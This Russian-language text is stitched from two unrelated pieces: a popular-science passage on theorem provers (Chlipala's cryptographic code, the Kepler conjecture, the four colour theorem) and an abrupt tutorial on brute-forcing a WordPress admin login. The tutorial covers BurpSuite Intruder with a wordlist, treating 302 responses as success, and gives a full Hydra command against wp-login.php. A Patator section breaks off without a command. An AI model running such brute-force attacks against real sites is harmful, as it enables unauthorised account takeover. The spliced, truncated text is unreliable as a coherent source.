Для специалистов по информатике доказыватели теорем не являются чем-то противоречивым. Они дают чёткий способ подтвердить работоспособность программы, а аргументы об интуиции и творческом начале менее важны, чем поиск эффективных способов решения задач. К примеру, Адам Члипала, специалист по информатике из Массачусетского технологического института, разработал инструменты для доказывания теорем, генерирующие криптографические алгоритмы, оберегающие транзакции в интернете – при том, что обычно такие алгоритмы придумывают люди. Код его группы уже используется в большей части коммуникаций браузера Google Chrome.
Эмили Риел из Университета Джонса Хопкинса использует доказыватели теорем для обучения студентов и компьютерных ассистентов.
«Можно взять любое математическое утверждение и закодировать его при помощи одного инструмента, а потом объединить все аргументы, и получить доказательство безопасности», — сказал Члипала.
В математике доказыватели теорем помогли выдать сложные и перегруженные вычислениями доказательства, на которые иначе ушли бы тысячи математических человеко-лет. Ярким примером служит гипотеза Кеплера о плотнейшей упаковке шаров в трёхмерном пространстве (исторически это были апельсины или пушечные ядра). В 1998 году Томас Хейлс со своим студентом Сэмом Фергюсоном завершили это доказательство при помощи различных компьютеризованных математических технологий. Результат получился таким громоздким – доказательство заняло 3 ГБ – что 12 математиков несколько лет анализировали его, прежде чем объявить, что на 99% уверены в его истинности.
Гипотеза Кеплера – не единственная знаменитая задача, решённая машинами. С теоремой о четырёх красках, утверждающая, что для закраски любой двумерной карты, при которой не будет никаких двух соприкасающихся участков одинакового цвета, всегда хватит четырёх красок, разобрались в 1977 году при помощи компьютерной программы, обработавшей пятицветные карты, и показавшей, что всех их можно превратить в четырёхцветные. В 2016 году трое математиков использовали компьютерную программу, чтобы доказать долго существовавшую булеву проблема пифагоровых троек, однако первая версия доказательства получилась размером в 200 ТБ. Если у вас достаточно быстрый канал в интернет, вы сможете скачать его недели за три.
Brute-force WordPress
Рассмотрим другой пример — подбор пароля окна авторизации веб-формы.
Для примера будем подбирать пароль от учетной записи администратора wordpress.
BurpSuite
Для начала нам необходимо понять, как происходит процесс авторизации. Для этого мы будем использовать BurpSuite. Нам необходимо попробовать авторизоваться с любым паролем и логином, чтобы посмотреть какие запросы проходят через BurpSuite.
Отлично, мы увидели POST запрос для авторизации с ним мы и будем работать.
В BODY указано какой логин и пароль проверялись, а значит, мы можем попробовать самостоятельно подставить нужные нам значения.
Передаем этот запрос в Intruder и там выбираем необходимые параметры для атаки. В пункте Payload Positions тип атаки оставляем sniper, но для проверки оставляем только параметр pwd. Таким образом, при атаке будет изменяться только этот параметр.
Загружаем необходимый словарь и начинаем атаку.
Из поведения веб-приложения мы видим, что неверный пароль возвращает код ответа 200. После перебора словаря, видим, что один из паролей дал ответ с кодом 302 — он и является верным.
Данный метод перебора занимает намного больше времени, чем при использовании Patator, Hydra, Medusa и т.д. Даже с учетом того, что мы взяли небольшой словарь, BurpSuite перебирал словарь около 40 минут.
Hydra
Попробуем подобрать пароль с помощью Hydra.
Как мы уже знаем, при неверной авторизации возвращается код 200, а при успешной – 302. Попробуем использовать эту информацию.
Для запуска используем команду:
hydra -V -f -l admin -P /root/wordlist -t 4 http-post-form://192.168.60.50 -m "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1:S=302"
Patator
Как мы уже знаем, при неудачной авторизации возвращается код 200, а при удачной – 302. Будем использовать тот же принцип, что и с Hydra:
Запуск производится командой:
Читайте также: